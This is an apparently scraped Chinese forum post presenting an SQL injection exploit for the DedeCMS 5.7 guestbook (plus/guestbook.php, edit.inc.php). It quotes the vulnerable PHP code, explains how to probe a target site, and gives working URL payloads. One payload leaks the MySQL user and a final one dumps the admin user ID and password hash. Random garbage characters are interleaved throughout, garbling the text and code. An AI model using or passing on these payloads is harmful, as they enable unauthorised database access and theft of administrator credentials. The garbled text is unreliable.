dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
3 Z/ B2 K( @: z# i- ^5 Z. R
漏洞文件edit.inc.php具体代码：

8 e' U7 j3 {% z" M  ~< ?php  

4 U/ k* A* J3 kif(!defined('DEDEINC')) exit('Request Error!');  

( U/ X, H) D3 k/ I/ J& Q( p   
, \0 {3 p# |" V5 l/ ~8 h
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  

   

- R0 y) M3 W/ }$id = intval($id);  
& A+ V+ d% c8 m* [) d
0 e" S$ u9 W+ _5 Vif(empty($job)) $job='view';  
; h& P8 p. Z, w) P
   
1 U. Q- r5 W# g$ E4 X, ^
! L' B" v5 v: Oif($job=='del' && $g_isadmin)  
; ~/ ^# z; J# i2 A0 c7 L/ ]6 T. R
, I' u& V  X' l  w{  
: [& ]1 m- c0 |5 `  r
' M7 b3 o; ?" U$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
6 s# s' A; J4 s# r% D
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
* d+ z$ ^+ I, |
exit();  
0 U7 Z6 j4 V; v: {
}  

) }! O- n% @) welse if($job=='check' && $g_isadmin)  

{  
0 `7 l% l& V  _. q1 X
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
% T( X* F8 m1 r/ L! B& i2 m
exit();  
% A* K$ b- t& C( W6 a3 d- B
}  

' [: D5 t4 N: B  s' r( P" @7 xelse if($job=='editok')  
) X3 d# `9 K% q; c# E6 p! A2 V
7 D! g+ a& @8 i' Q" |9 L{  

$remsg = trim($remsg);  

if($remsg!='')  
7 z4 R. y$ d! n  H7 L' ]! ~
. ?7 d  V/ Y. z/ d{  

% k- Q1 M( m8 A//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  
3 P: h9 H0 q$ n# G* s/ [
8 k% z2 R: F. n3 [{  
3 o7 b2 `7 ~9 @/ a% Q1 k- X0 Q, f
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else
" n8 p; W$ P$ `. h4 G) ~
{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
0 r* u2 m' }% u0 s
! C$ [! o  P3 x6 \8 N) d. b6 C$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

' _  @4 C/ [* \8 ]. S  e0 p: f" s. g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
! ]7 V) [0 P) ^0 B5 V
$msg = $oldmsg.$remsg;  

1 G8 k; O- X. r2 w( a# [2 O}  

}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
1 \- V- o% m. k3 e; M
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
# w- R& ~# }. ]
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
) J* V5 F9 X' b6 G0 |
exit();  

# _( X& N4 \+ Y0 }, @! P5 b}  

//home:www.errs.cc  

* X7 H4 Q: W4 R* b; a8 \if($g_isadmin)  

' r7 M/ t/ y" O$ ~{  

5 D' h+ g9 x* K9 p6 M3 @$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
6 m2 l. o4 V& p. O* R! q* j/ G
" Y: i3 L* n" [  i% n; l( zrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

/ F0 ?6 I9 v. z- [2 G}  
2 C) {/ X+ L! y5 o- c% n7 {3 L
5 d( I; A9 t/ t% r8 Jelse
. e9 h. r& z* o8 [+ z6 E
{  

0 i$ }9 V8 u9 ?& Q0 Z# Z7 _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2 `; v) C' d' t' m8 O8 L2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
! {) k5 Z: r) }0 l
4 P& e5 ?- ]1 A1 \9 Y: Y  K6 M怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
1 {: {; g* B/ _, @2 ?) f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
" m, ~$ Y# R4 a6 Y& b- K: v
9 i- [$ _. m' f+ s4 p0 w' z# B2 mwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 l% t$ ~' j1 N跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. e9 l& G3 Z7 i0 F

明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

  d8 G2 ^. i7 P0 M4 o" @- Uwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

- K8 X5 g: b9 b. q! s2 _大概利用就是这样，大家有兴趣的多研究下！！
! Z2 f& F6 J' y& C  X: i
0 d6 i) \5 ^3 `5 v+ V最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='